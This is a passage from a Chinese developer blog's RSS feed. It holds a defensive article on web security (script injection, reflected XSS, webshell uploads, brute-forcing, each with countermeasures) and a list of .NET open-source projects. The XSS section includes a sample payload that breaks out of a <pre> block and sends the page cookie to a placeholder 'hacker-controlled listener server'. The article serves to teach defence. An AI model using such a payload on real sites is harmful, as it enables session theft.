<p><span style="FONT-FAMILY: 宋体">提供合理的过滤或者转换程序，在输入存放于数据库前，或者是显示在页面前对数据进行处理。尽一切可能，避免用户的输入有执行的可能。</span></p>
<p><span style="FONT-FAMILY: 宋体">具体代码，因不同的后端语言不同，但是项目提供有效，统一的过滤处理方式是合理的。</span></p>
<p><span style="FONT-FAMILY: 宋体">该攻击方法成立的原因是，浏览器在对页面进行解析时，不可能区分哪一段是客户输入，哪一段是预编制的模板或</span>Html<span style="FONT-FAMILY: 宋体">或脚本。</span></p>
<p><span style="FONT-FAMILY: 宋体">有人曾经提出，确保评论内容出现在</span>&lt;pre&gt;&lt;/pre&gt;<span style="FONT-FAMILY: 宋体">中可以避免这个问题。</span></p>
<p><span style="FONT-FAMILY: 宋体">如</span>:<br />&lt;pre&gt;&lt;%= <span style="FONT-FAMILY: 宋体">评论内容</span> %&gt;&lt;/pre&gt;</p>
<p><span style="FONT-FAMILY: 宋体">那么评论内容将得到原样显示，并不会执行其中的脚本。</span></p>
<p><span style="FONT-FAMILY: 宋体">但是这样的解决方案是不正确的。</span></p>
<p><span style="FONT-FAMILY: 宋体">因为我只需要对注入稍加改动</span>:</p>
<p>&lt;/pre&gt;<br />&lt;script language=&rdquo;javascript&rdquo;&gt;<br />var strTargetMessage =window.cockie;</p>
<p>AjaxSend(&ldquo;<span style="FONT-FAMILY: 宋体">黑客掌握的服务器监听点</span>&rdquo;, strTargetMessage);<br />&lt;/javascript&gt;</p>
<p>&lt;pre&gt;</p>
<p><span style="FONT-FAMILY: 宋体">那么实际上注入脚本将</span>&lt;pre&gt;<span style="FONT-FAMILY: 宋体">块闭合了，脚本仍然会得到执行。</span></p>
<p style="MARGIN-LEFT: 1cm; TEXT-INDENT: -1cm; tab-stops: list 1.0cm"><strong>2.3.<span style="FONT: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></strong><strong><span style="FONT-FAMILY: 宋体">跨站攻击</span></strong></p>
<p style="MARGIN-LEFT: 35.45pt; TEXT-INDENT: -35.45pt; tab-stops: list 35.45pt"><strong>2.3.1.<span style="FONT: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></strong><strong><span style="FONT-FAMILY: 宋体">攻击模式</span></strong></p>
<p><span style="FONT-FAMILY: 宋体">跨站攻击</span><span style="FONT-FAMILY: 宋体">和脚本注入非常相似。有很多资料并没有区分这两种攻击。</span></p>
<p><span style="FONT-FAMILY: 宋体">实际上，我认为跨站和脚本注入最大的区别在于用户提交的非法脚本是否需要持久化到服务器。通常，用于脚本注的恶意脚本提交后，将存储在服务器数据库中。这导致每个访问问题页面的浏览者都将遭到恶意脚本的攻击。而跨站攻击多数情况是将恶意脚本构造于</span>url<span style="FONT-FAMILY: 宋体">参数中。通过欺骗的方式去诱使受害者点击链接。而使得恶意脚本执行。</span></p>
<p><span style="FONT-FAMILY: 宋体">虽然，不像脚本注入，跨站攻击必须要诱使受害者点击链接才能得以执行。但是一旦成立，其危害将和脚本注入的危害一样大。</span></p>
<p><span style="FONT-FAMILY: 宋体">并且，跨站攻击的最大问题在于漏洞难于查找，特别容易被忽略。</span></p>
<p><span style="FONT-FAMILY: 宋体">因为人们通常记得在用户输入评论的地方加上过滤来避免注入，但是防护跨站漏洞，却要保证在每个处理</span>url<span style="FONT-FAMILY: 宋体">参数的页面中都要对传入的参数进行合法性验证。由于程序员的疏忽或者懒惰，往往无法做到</span> &ldquo;<span style="FONT-FAMILY: 宋体">每个</span>&rdquo;, <span style="FONT-FAMILY: 宋体">所以即使是知名的大型网站也频频出现跨站漏洞。</span></p>
<p><span style="FONT-FAMILY: 宋体">下面给出一个实例来说明跨站漏洞。</span></p>
<p><span style="FONT-FAMILY: 宋体">一年前，我的朋友曾经给了我一个工行网络银行的地址</span>(<a href="http://www.icbc.com.cn/news/hotspot.jsp?column=%CD%A8%BC%A9%3A+%D0%DC%BA%A3%CD%AC%D1%A7%D3%DA2007.5.1%C8%D5%D5%A9%C6%AD%B9%A4%C9%CC%D2%F8%D0%D0500%CD%F2%CF%D6%BD%F0%A3%AC%CF%D6%D4%DA%C7%B1%CC%D3%D6%D0%A3%AC%D3%D0%D7%A5%BB%F1%D5%DF%BD%B1%C0%F8%C8%CB%C3%F1%B1%D250%CD%F2%D5%FB"><font color="#1d58d1">http://www.icbc.com.cn/news/hotspot.jsp?column=%CD%A8%BC%A9%3A+%D0%DC%BA%A3%CD%AC%D1%A7%D3%DA2007.5.1%C8%D5%D5%A9%C6%AD%B9%A4%C9%CC%D2%F8%D0%D0500%CD%F2%CF%D6%BD%F0%A3%AC%CF%D6%D4%DA%C7%B1%CC%D3%D6%D0%A3%AC%D3%D0%D7%A5%BB%F1%D5%DF%BD%B1%C0%F8%C8%CB%C3%F1%B1%D250%CD%F2%D5%FB</font></a> (<span style="FONT-FAMILY: 宋体">上面这些类似乱码的编码实际上是</span>&ldquo;<span style="FONT-FAMILY: 宋体">通缉</span>: <span style="FONT-FAMILY: 宋体">BearOcean同学于</span>2007.5.1<span style="FONT-FAMILY: 宋体">日诈骗工商银行</span>500<span style="FONT-FAMILY: 宋体">万现金，现在潜逃中，有抓获者奖励人民币</span>50<span style="FONT-FAMILY: 宋体">万整</span>&rdquo;<span style="FONT-FAMILY: 宋体">字符串的</span>urlEncoding<span style="FONT-FAMILY: 宋体">成果物</span>,<span style="FONT-FAMILY: 宋体">后来工行把这个漏洞堵上了</span>.)</p>
<p><span style="FONT-FAMILY: 宋体">当我点开页面进行浏览的时候，发现上面显示的是一则公告</span>:</p>
<p>&nbsp;&nbsp; &ldquo;<span style="FONT-FAMILY: 宋体">通缉</span>: <span style="FONT-FAMILY: 宋体">BearOcean同学于</span>2007.5.1<span style="FONT-FAMILY: 宋体">日诈骗工商银行</span>500<span style="FONT-FAMILY: 宋体">万现金，现在潜逃中，有抓获者奖励人民币</span>50<span style="FONT-FAMILY: 宋体">万整</span>&rdquo;</p>
<p><span style="FONT-FAMILY: 宋体">很显然这是一个玩笑</span>(<span style="FONT-FAMILY: 宋体">我的同学没有攻击意图，只是利用这个开了个玩笑</span>)<span style="FONT-FAMILY: 宋体">，但是让我惊讶的是即使是工行也能出现这样的问题。我们现在来分析出现这个问题的原因，以及它可能带来的危害。</span></p>
<p><span style="FONT-FAMILY: 宋体">工行的</span>hotspot.jsp<span style="FONT-FAMILY: 宋体">可以理解成一个专用于显示一些简短信息的页面。</span></p>
<p><span style="FONT-FAMILY: 宋体">他接受</span>url<span style="FONT-FAMILY: 宋体">中的一个参数</span>column<span style="FONT-FAMILY: 宋体">并把它显示出来。</span></p>
<p><span style="FONT-FAMILY: 宋体">这样的页面很常见也很有用，例如我们在注册成功，评论新闻成功的时候，都希望有一个风格统一的页面来显示操作结果。如果为每一个有这种需求的地方单独开发不同的页面，一来工作量大，二来重用性差，所以我们用一个页面来完成这种事情。这个页面显示的是什么取决于输入的参数。请看下图</span>:<br /><br /><img alt="" src="http://www.cnblogs.com/images/cnblogs_com/bearocean/4.JPG" border="0" /></p>
<p>hotspot <span style="FONT-FAMILY: 宋体">是傻子，无法智能到判定输入的</span>column<span style="FONT-FAMILY: 宋体">来自于友方模块还是来自于我的同学。总之，来者不拒。直接将</span>column<span style="FONT-FAMILY: 宋体">不加区分的显示在</span>hotspot<span style="FONT-FAMILY: 宋体">上。</span></p>
<p><span style="FONT-FAMILY: 宋体">令人好奇的是，该漏洞只是让大家开开玩笑，输出一些好玩的东西，那么其实这个漏洞会不会也无伤大雅，没有什么危害性。我强调过，我的同学不是恶意的攻击者，敏感的人能够猜测</span>:<span style="FONT-FAMILY: 宋体">如果输入的不是用于开玩笑的字符串，而是恶意的脚本，那将如何？</span></p>
<p><span style="FONT-FAMILY: 宋体">跨站攻击</span><span style="FONT-FAMILY: 宋体">的危害和脚本注入是一样的。恶意脚本得以执行，一样可用于盗取</span>coockie. <span style="FONT-FAMILY: 宋体">或以高级别权限用户执行危害更严重的木马上传操作，或者帮助浏览者在自己的机器上种上病毒。与</span>SQL<span style="FONT-FAMILY: 宋体">注入不同，脚本注入和跨站都没有直接攻击服务端，实际上是攻击了客户端。但是，上述</span>2<span style="FONT-FAMILY: 宋体">种漏洞通常会成为有经验的黑客攻击服务器的最喜爱跳板。</span></p>
<p style="MARGIN-LEFT: 35.45pt; TEXT-INDENT: -35.45pt; tab-stops: list 35.45pt"><strong>2.3.2.<span style="FONT: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></strong><strong><span style="FONT-FAMILY: 宋体">防御方式</span></strong></p>
<p><span style="FONT-FAMILY: 宋体">问题的原因已经分析清楚，存在跨站漏洞的页面或模块通常未对传入的</span>url<span style="FONT-FAMILY: 宋体">参数进行处理，或者确定传入来源是可靠的。</span></p>
<p><span style="FONT-FAMILY: 宋体">最主要的防御方式与脚本注入的防御方式相同。</span></p>
<p><span style="FONT-FAMILY: 宋体">在类似于的</span>hotspot<span style="FONT-FAMILY: 宋体">页面中，程序员对输入的</span>colum<span style="FONT-FAMILY: 宋体">进行过滤，并免任何脚本执行的机会就可以保护站点免受跨站漏洞的攻击。</span></p>
<p style="MARGIN-LEFT: 1cm; TEXT-INDENT: -1cm; tab-stops: list 1.0cm"><strong>2.4.<span style="FONT: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></strong><strong>shell </strong><strong><span style="FONT-FAMILY: 宋体">上传</span></strong></p>
<p style="MARGIN-LEFT: 35.45pt; TEXT-INDENT: -35.45pt; tab-stops: list 35.45pt"><strong>2.4.1.<span style="FONT: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></strong><strong><span style="FONT-FAMILY: 宋体">攻击模式</span></strong></p>
<p>shell<span style="FONT-FAMILY: 宋体">上传是攻击</span>BS<span style="FONT-FAMILY: 宋体">程序最可怕的一招。</span></p>
<p><span style="FONT-FAMILY: 宋体">中招的站点，完全被破坏是一点也不意外的。因为</span>shell, <span style="FONT-FAMILY: 宋体">通常都有能力帮助攻击者拿到系统管理员的权限。绕开站点的权限限制，直接攻击操作系统和</span>DBA, <span style="FONT-FAMILY: 宋体">作为攻防战的防守方，搞成这种局面，只能用完全失败来形容了。</span></p>
<p><span style="FONT-FAMILY: 宋体">要理解通过</span>shell<span style="FONT-FAMILY: 宋体">上传来攻击服务器的方式，需要理解</span>shell<span style="FONT-FAMILY: 宋体">是什么。</span></p>
<p>Shell <span style="FONT-FAMILY: 宋体">通常是一种用特定语言编写的程序，攻击服务器的时候，由于通常要实现远程编译比较复杂，所以这种木马类型的文件一般都用解释型语言编写</span>(<span style="FONT-FAMILY: 宋体">或者有解释语言特点</span>).</p>
<p><span style="FONT-FAMILY: 宋体">具体语言的选择，依赖于目标站点的开发语言。攻击</span>ASP <span style="FONT-FAMILY: 宋体">站点的</span>shell <span style="FONT-FAMILY: 宋体">用</span>ASP <span style="FONT-FAMILY: 宋体">编写，</span><span style="FONT-FAMILY: 宋体">攻击</span>PHP <span style="FONT-FAMILY: 宋体">站点的</span>shell<span style="FONT-FAMILY: 宋体">用</span>PHP<span style="FONT-FAMILY: 宋体">编写，</span><span style="FONT-FAMILY: 宋体">攻击</span>J2EE<span style="FONT-FAMILY: 宋体">的站点</span>Shell <span style="FONT-FAMILY: 宋体">可用</span>Jsp<span style="FONT-FAMILY: 宋体">来编写。</span></p>
<p>Shell <span style="FONT-FAMILY: 宋体">通常都是基于命令的，它通常能接受攻击者的参数。然后以功能划分模块进行运行。</span></p>
<p><span style="FONT-FAMILY: 宋体">常见的命令如</span>: <span style="FONT-FAMILY: 宋体">列表文件，</span><span style="FONT-FAMILY: 宋体">删除文件，创建文件，</span><span style="FONT-FAMILY: 宋体">修改文件，</span><span style="FONT-FAMILY: 宋体">新建系统帐号，</span><span style="FONT-FAMILY: 宋体">访问操作系统功能。</span><span style="FONT-FAMILY: 宋体">通过使用这些功能。攻击者将能够控制</span>shell <span style="FONT-FAMILY: 宋体">宿主服务器，所以站点乃至整个系统被</span>shell <span style="FONT-FAMILY: 宋体">黑破是很好理解的。</span><span style="FONT-FAMILY: 宋体">设想一个攻击者通过</span>shell<span style="FONT-FAMILY: 宋体">新建一个操作系统管理员，其实就可以抛弃</span>shell<span style="FONT-FAMILY: 宋体">了。</span>(<span style="FONT-FAMILY: 宋体">需要说明的是，</span>webshell<span style="FONT-FAMILY: 宋体">通常功能较弱，但是</span>webshell<span style="FONT-FAMILY: 宋体">可以支持更强木马的上传和执行。</span>) <span style="FONT-FAMILY: 宋体">通过远程控制客户端，便可对服务器为所欲为。</span></p>
<p><span style="FONT-FAMILY: 宋体">请看下图</span>:<br /><br /><img alt="" src="http://www.cnblogs.com/images/cnblogs_com/bearocean/5.JPG" border="0" /></p>
<p><span style="FONT-FAMILY: 宋体">攻击者通过</span>shell<span style="FONT-FAMILY: 宋体">木马，去取得其他关键权限，转而对整个系统实施攻击。</span></p>
<p><span style="FONT-FAMILY: 宋体">很奇怪，明明我的服务器内只部署了我自己开发的页面文件和程序模块。攻击者是怎样把木马传上来的呢。</span></p>
<p><span style="FONT-FAMILY: 宋体">一般来说有如下方式</span>:</p>
<p style="MARGIN-LEFT: 18pt; TEXT-INDENT: -18pt; tab-stops: list 18.0pt">(1)<span style="FONT: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp; </span>FTP: <span style="FONT-FAMILY: 宋体">服务器开启了</span>FTP <span style="FONT-FAMILY: 宋体">服务，并且使用允许匿名或者弱帐号机制，</span>FTP <span style="FONT-FAMILY: 宋体">直接指向</span>Web<span style="FONT-FAMILY: 宋体">虚拟路径，很多人通过这种方式来管理</span>/<span style="FONT-FAMILY: 宋体">维护站点。固然方便，但是攻击者通过端口扫描可以很容易的找到服务器的</span>FTP<span style="FONT-FAMILY: 宋体">服务，攻击</span>FTP<span style="FONT-FAMILY: 宋体">进而上传</span>shell<span style="FONT-FAMILY: 宋体">木马。但是这种攻击方式以及其他利用服务</span>/<span style="FONT-FAMILY: 宋体">操作系统</span>/web<span style="FONT-FAMILY: 宋体">容器漏洞的服务</span><span style="FONT-FAMILY: 宋体">均与开发的直接关系不大，主要责任系维护方面，所以在这里不详细叙述。</span></p>
<p style="MARGIN-LEFT: 18pt; TEXT-INDENT: -18pt; tab-stops: list 18.0pt">(2)<span style="FONT: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp; </span><span style="FONT-FAMILY: 宋体">上传组件</span>: <span style="FONT-FAMILY: 宋体">很多站点，由于功能要求，提供文件上传功能。这个功能，攻击者通常都会非常注意。如果上传组建的编写有问题。那么攻击者就能很方便的上传</span>shell. <span style="FONT-FAMILY: 宋体">因为和开发关系较大，所以主要叙述的是这种上传方式。</span></p>
<p><span style="FONT-FAMILY: 宋体">方式</span>(2) <span style="FONT-FAMILY: 宋体">中所涉及的上传组建通常是一些上传功能需求引入的。例如用户可以自定义自已的图片或者是上传商品图片，或者是允许上传一些其他文件供浏览者下载。这些上传功能也频繁出现在后台管理中。</span></p>
<p style="MARGIN-LEFT: 35.45pt; TEXT-INDENT: -35.45pt; tab-stops: list 35.45pt"><strong>2.4.2.<span style="FONT: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></strong><strong><span style="FONT-FAMILY: 宋体">防御方式</span></strong></p>
<p><span style="FONT-FAMILY: 宋体">关于</span>shell<span style="FONT-FAMILY: 宋体">的防御通常有如下一些事项需要注意</span>:</p>
<p style="MARGIN-LEFT: 18pt; TEXT-INDENT: -18pt; tab-stops: list 18.0pt">(1)<span style="FONT: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp; </span>Web <span style="FONT-FAMILY: 宋体">容器正确的安全设置</span>:</p>
<p><span style="FONT-FAMILY: 宋体">如果系统有上传的功能，那么上传的文件一般都存放在固定的一个或者几个文件夹中。</span></p>
<p><span style="FONT-FAMILY: 宋体">最需要确保的是，不管上传了什么，我们都需要保证服务器认为这些文件是数据，而不会误以为是程序模块而使木马得到执行的机会。通常</span>web<span style="FONT-FAMILY: 宋体">服务器都有相关的安全设置。禁用这几个文件夹中的文件</span><span style="FONT-FAMILY: 宋体">解释</span>/<span style="FONT-FAMILY: 宋体">执行</span><span style="FONT-FAMILY: 宋体">权限是必要的，这样即使木马上传成功也无法解析。在系统上线前需要对</span>web<span style="FONT-FAMILY: 宋体">配置进行正确的配置这是一点。</span></p>
<p><span style="FONT-FAMILY: 宋体">总的来说，不管是利用</span>OS <span style="FONT-FAMILY: 宋体">漏洞或者是</span>FTP <span style="FONT-FAMILY: 宋体">或者是配置。</span>Linux <span style="FONT-FAMILY: 宋体">的安全性相对于</span>Windows<span style="FONT-FAMILY: 宋体">较高。</span><span style="FONT-FAMILY: 宋体">目前最多的</span>shell<span style="FONT-FAMILY: 宋体">马一般</span><span style="FONT-FAMILY: 宋体">是基于</span>ASP<span style="FONT-FAMILY: 宋体">的。</span></p>
<p style="MARGIN-LEFT: 18pt; TEXT-INDENT: -18pt; tab-stops: list 18.0pt">(2)<span style="FONT: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp; </span><span style="FONT-FAMILY: 宋体">自己编写上传组件需要严格的验证</span>:</p>
<p><span style="FONT-FAMILY: 宋体">很多时候我们会使用自己开发的上传功能和组件。</span></p>
<p><span style="FONT-FAMILY: 宋体">编写的时候需要对上传的文件进行验证而不能够不加验证便进行保存。</span></p>
<p><span style="FONT-FAMILY: 宋体">通常验证的项目包括文件大小和文件后缀</span>(<span style="FONT-FAMILY: 宋体">文件类型</span>)<span style="FONT-FAMILY: 宋体">，如仅允许</span>jpeg, jpg, gif <span style="FONT-FAMILY: 宋体">图片格式文件上传。这是作为开发方需要注意的事项，但是不结合第一点来防护仍然不安全。目前有许多</span>jpg, gif shell<span style="FONT-FAMILY: 宋体">木马，</span><span style="FONT-FAMILY: 宋体">后缀名使用图片格式能够跳过验证，但是攻击者可以利用其他的漏洞使木马得以执行。</span></p>
<p><span style="FONT-FAMILY: 宋体">另外，通常后台功能有修改允许上传文件类型的功能。如果攻击者通过其他手段</span>(<span style="FONT-FAMILY: 宋体">如注入或者社会工程学</span>) <span style="FONT-FAMILY: 宋体">成功得到了后台登陆权限，那么他仍然能够上传木马。</span></p>
<p><span style="FONT-FAMILY: 宋体">所以</span>(2) +(1) <span style="FONT-FAMILY: 宋体">才能使得防护真正的起到作用。另外一点需要注意的是，对文件的验证一定要在服务器端进行。前端的</span>javascript<span style="FONT-FAMILY: 宋体">验证在安全性上将不起作用。</span></p>
<p style="MARGIN-LEFT: 18pt; TEXT-INDENT: -18pt; tab-stops: list 18.0pt">(3)<span style="FONT: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp; </span><span style="FONT-FAMILY: 宋体">利用已开发的第三方组件</span>:</p>
<p><span style="FONT-FAMILY: 宋体">有很多人开发出了好用的第三方控件，如一些富文本编辑控件直接允许文件</span>/<span style="FONT-FAMILY: 宋体">图片的上传</span>(<span style="FONT-FAMILY: 宋体">如</span>FCKEditor) <span style="FONT-FAMILY: 宋体">这些控件有很多在功能上做的很好，但往往由于开发者安全方面考虑的不多，会存在漏洞，在使用第三方组件的时候可以对组件是否存在漏洞进行调查。必要的时候可进行代码修改以进行安全加强。</span></p>
<p><span style="FONT-FAMILY: 宋体">比较出名的是，曾经有一个很著名的</span>asp <span style="FONT-FAMILY: 宋体">后台文件管理模块。出现了非常明显的</span>shell<span style="FONT-FAMILY: 宋体">上传点。但是使用的人仍然趋之若鹜。攻击者们通常发现站点使用该组件的时候。第一反应就是</span>:<span style="FONT-FAMILY: 宋体">开心地笑了。甚至有人开发了专门针对该模块的攻击</span>/<span style="FONT-FAMILY: 宋体">上传程序。</span><br /><br /></p>
<p style="MARGIN-LEFT: 1cm; TEXT-INDENT: -1cm; tab-stops: list 1.0cm"><strong>2.5.<span style="FONT: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></strong><strong><span style="FONT-FAMILY: 宋体">爆破</span></strong></p>
<p style="MARGIN-LEFT: 35.45pt; TEXT-INDENT: -35.45pt; tab-stops: list 35.45pt"><strong>2.5.1.<span style="FONT: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></strong><strong><span style="FONT-FAMILY: 宋体">攻击模式</span></strong></p>
<p><span style="FONT-FAMILY: 宋体">爆破和上述的攻击方式一样，均是很古老的攻击手段了。它是很暴力很笨的攻击方式。不过使用得到也具有一定的威胁。</span></p>
<p><span style="FONT-FAMILY: 宋体">爆破的模式很简单，一般情况如下图所示</span>:<br /><br /><img alt="" src="http://www.cnblogs.com/images/cnblogs_com/bearocean/6.JPG" border="0" /></p>
<p><span style="FONT-FAMILY: 宋体">爆破方式来获取帐号，通常在攻击端需要部署攻击器和字典程序。</span></p>
<p><span style="FONT-FAMILY: 宋体">攻击器</span><span style="FONT-FAMILY: 宋体">负责向特定登陆模块发送登陆请求，字典程序负责按照人们的输入习惯对于待输入尝试进行排序。结合起来，可以在一定时间将系统中的账号试出来。具体时间依据密码账号强度来定。简单的密码如</span> admin 123 <span style="FONT-FAMILY: 宋体">可能在一分钟内被试探出来。而强账号可能要一年。</span></p>
<p style="MARGIN-LEFT: 35.45pt; TEXT-INDENT: -35.45pt; tab-stops: list 35.45pt"><strong>2.5.2.<span style="FONT: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></strong><strong><span style="FONT-FAMILY: 宋体">防御方式</span></strong></p>
<p><span style="FONT-FAMILY: 宋体">总的来说，防暴有如下几种方式</span>:</p>
<p style="MARGIN-LEFT: 18pt; TEXT-INDENT: -18pt; tab-stops: list 18.0pt">(1)<span style="FONT: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp; </span><span style="FONT-FAMILY: 宋体">使用验证码</span>:</p>
<p><span style="FONT-FAMILY: 宋体">这是一个很成熟的方式，也较为行之有效。具体方式是在登陆的时候，除了要求登陆者输入用户名与密码以外，还要求输入者辨识一个不怎么清晰的图片，并输入图片中显示的字符，以作为这次输入并非出自自动程序的凭证。</span></p>
<p><span style="FONT-FAMILY: 宋体">要破除这种方式的登陆端并进行爆破，对于攻击端有更高的要求。需要首先对验证图片进行模式匹配以提取其中隐含的字符串。不过模糊匹配是比较复杂的技术。具体的应用包括音频匹配，指纹系统，人脸识别，图片处理等方向，涉及较强的数理基础。一般攻击者都不会动用这种技术，目前模糊匹配仍没有达到成熟。模糊匹配不能很有效的原因也是计算机无法真正意义上模拟生物智能的重要障碍之一。相关方向有很多课题无解。如果感兴趣可以单独研究。</span></p>
<p style="MARGIN-LEFT: 18pt; TEXT-INDENT: -18pt; tab-stops: list 18.0pt">(2)<span style="FONT: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp; </span><span style="FONT-FAMILY: 宋体">阻塞同一</span>IP<span style="FONT-FAMILY: 宋体">同一时间多次连续对登陆的验证请求</span></p>
<p><span style="FONT-FAMILY: 宋体">该方法在后端程序中加上一个时间连续验证。禁止同一</span>IP <span style="FONT-FAMILY: 宋体">同一时间内多次请求。例如可以设置同一</span>IP <span style="FONT-FAMILY: 宋体">上次验证距这次验证间隔时间必须大于</span>0.2<span style="FONT-FAMILY: 宋体">秒。通过这种方式来降低攻击程序的性能。</span></p>
<p><span style="FONT-FAMILY: 宋体">不过这种方式除了性能上的弱点，还有一个弱点在于</span>: <span style="FONT-FAMILY: 宋体">网络环境中，如果有大量用户共用一个</span>IP, <span style="FONT-FAMILY: 宋体">所以有可能在高并发的情况下拒绝正常请求。</span></p>
<p><strong>&nbsp;</strong></p>
<p style="MARGIN-LEFT: 21.25pt; TEXT-INDENT: -21.25pt; tab-stops: list 21.25pt"><strong>3.<span style="FONT: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></strong><strong><span style="FONT-FAMILY: 宋体">结语</span></strong></p>
<p><span style="FONT-FAMILY: 宋体">关于站点程序安全，还有很多攻击和防御的方式。</span></p>
<p><span style="FONT-FAMILY: 宋体">开发过程中，代码上的防御最好形成统一的，类似于</span>AOP <span style="FONT-FAMILY: 宋体">的安全服务层。对安全过滤，效验，防暴等攻击手段提供统一的服务和保护。由于编码习惯引入的漏洞，可以制定相关的规范，对形如</span>SQL <span style="FONT-FAMILY: 宋体">注入的避免。</span></p>
<p><span style="FONT-FAMILY: 宋体">同时，运营方面，需要密切地注意</span>OS , <span style="FONT-FAMILY: 宋体">数据库，</span><span style="FONT-FAMILY: 宋体">网络环境存在的不安因素。</span></p>
<p><span style="FONT-FAMILY: 宋体">部署方面，对于配置充分考量安全方面的强化。</span></p>
<p><span style="FONT-FAMILY: 宋体">本文当没有涉及具体的编码技术和配置方案，因为完成这些详述，篇幅会变得无法控制。</span></p>
<p><span style="FONT-FAMILY: 宋体">本文当主要在基本的安全事项，攻击模式上面做出阐述。抛砖引玉。</span></p>]]></description>
		</item>
		
			<item>
			<link>http://blog.foolmen.com/default.asp?id=126</link>
			<title><![CDATA[部分优秀.NET开源项目]]></title>
			<author>ahao_150@163.com(Admin)</author>
			<category><![CDATA[dot net]]></category>
			<pubDate>Tue,10 Jun 2008 00:02:13 +0800</pubDate>
			<guid>http://blog.foolmen.com/default.asp?id=126</guid>	
		<description><![CDATA[<div>&nbsp; <strong><font color="#009999">开源程序</font></strong>
<ul>
    <li><a href="http://www.dasblog.net/" target="_blank"><font color="#009999">DasBlog - 基于asp.net的博客引擎</font></a> </li>
    <li><a href="http://umbraco.org/" target="_blank"><font color="#009999">Umbroca - ASP.NET CMS系统</font></a> </li>
    <li><a href="http://www.ifdefined.com/bugtrackernet.html" target="_blank"><font color="#009999">BugTracker.NET&mdash;bug跟踪系统</font></a> </li>
    <li><a href="http://www.screwturn.eu/" target="_blank"><font color="#009999">ScrewTurn Wiki - ASP.NET维基引擎</font></a> </li>
    <li><a href="http://www.rssbandit.org/" target="_blank"><font color="#009999">RssBandit - 功能很强的Rss阅读器</font></a> </li>
    <li><a href="http://subtextproject.com/" target="_blank"><font color="#009999">SubText - 个人博客平台</font></a><font color="#009999">&nbsp;&nbsp;</font> </li>
</ul>
<p><strong><font color="#009999" size="3">.NET开源项目</font></strong></p>
<p><font color="#009999"><strong>SharpDevelop</strong><br />强大的插件系统，通过Addin构建成一个功能齐全的.net开发IDE。核心是AddInTree。跟随这个项目开发许多有用的组件，比如功能文本编辑器（ICSharpCode.TextEditor），SharpZipLib等。<br />链接：</font><a href="http://www.icsharpcode.net/" target="_blank"><font color="#009999">http://www.icsharpcode.net/</font></a><br /><br /><font color="#009999"><strong>DotNetNuke</strong><br />这个就是著名DNN，使用VB.NET进行开发。通过其基本架构可进行堆积木式快速建站。而且支持子网站系统。其由asp.net Portal start kit进化而来。<br />链接：</font><a href="http://www.dnnchina.net/" target="_blank"><font color="#009999">http://www.dnnchina.net/</font></a> <font color="#009999">，</font><a href="http://www.dotnetnuke.com/" target="_blank"><font color="#009999">http://www.dotnetnuke.com</font></a><br /><br /><font color="#009999"><strong>Community Server<br /></strong>这个也是一个很著名的ASP.NET项目，记得好像最早系统原形为asp.net Forums，后来加入了.Text Blog 和nGallery成为一个完整的通用系统。对应的中文版本为宝玉修改的CCS。<br />链接：</font><a href="http://communityserver.org/" target="_blank"><font color="#009999">http://communityserver.org/</font></a><br /><br /><font color="#009999"><strong>Rainbow</strong><br />另外一个类似于DNN的系统，使用C#进行开发。<br />链接：</font><a href="http://www.rainbowportal.net/" target="_blank"><font color="#009999">http://www.rainbowportal.net/</font></a><br /><br /><font color="#009999"><strong>RssBandit</strong><br />一个客户端的RSS查看器，使用C# 进行开发，最大的特点是数据存储采用xml文件。<br />链接：</font><a href="http://www.rssbandit.org/" target="_blank"><font color="#009999">http://www.rssbandit.org/</font></a><br /><br /><font color="#009999"><strong>FreeTextbox</strong><br />Web上的一个Html超文本编辑器，早些版本是开源的，现在还是免费使用，不过源代码需要购买。<br />链接：</font><a href="http://www.freetextbox.com/" target="_blank"><font color="#009999">http://www.freetextbox.com</font></a><br /><br /><font color="#009999"><strong>World Wind</strong><br />使用.NET开发的一个Windows窗体系统，以地球外观看得角度提供全球定位功能，类似于Google Earth。<br />链接：</font><a href="http://worldwind.arc.nasa.gov/" target="_blank"><font color="#009999">http://worldwind.arc.nasa.gov</font></a><br /><br /><font color="#009999"><strong>log4net</strong><br />对应Java中的log4j。一个强大的日志管理模块。<br />链接：</font><a href="http://logging.apache.org/log4net/" target="_blank"><font color="#009999">http://logging.apache.org/log4net/</font></a><br /><br /><font color="#009999"><strong>Monodevelop</strong><br />非Windows 系统下的.net 平台开发工具。<br />链接：</font><a href="http://www.monodevelop.com/" target="_blank"><font color="#009999">http://www.monodevelop.com</font></a><br /><br /><font color="#009999"><strong>Paint.NET</strong><br />使用.net开发的画图软件，功能不错。<br />链接：</font><a href="http://www.getpaint.net/index.html" target="_blank"><font color="#009999">http://www.getpaint.net/index.html</font></a><br /><br /><font color="#009999"><strong>Nunit</strong><br />对应Java中的Junit，非常著名的单元测试工具。<br />链接：</font><a href="http://www.nunit.org/" target="_blank"><font color="#009999">http://www.nunit.org/</font></a><br /><br /><font color="#009999"><strong>FCKeditor</strong><br />Web上的又一个Html超文本编辑器。<br />链接：</font><a href="http://www.fckeditor.net/" target="_blank"><font color="#009999">http://www.fckeditor.net/</font></a><br /><br /><font color="#009999"><strong>Nlog</strong><br />一个日志管理库，类似于Log4Net。<br />链接：</font><a href="http://www.nlog-project.org/" target="_blank"><font 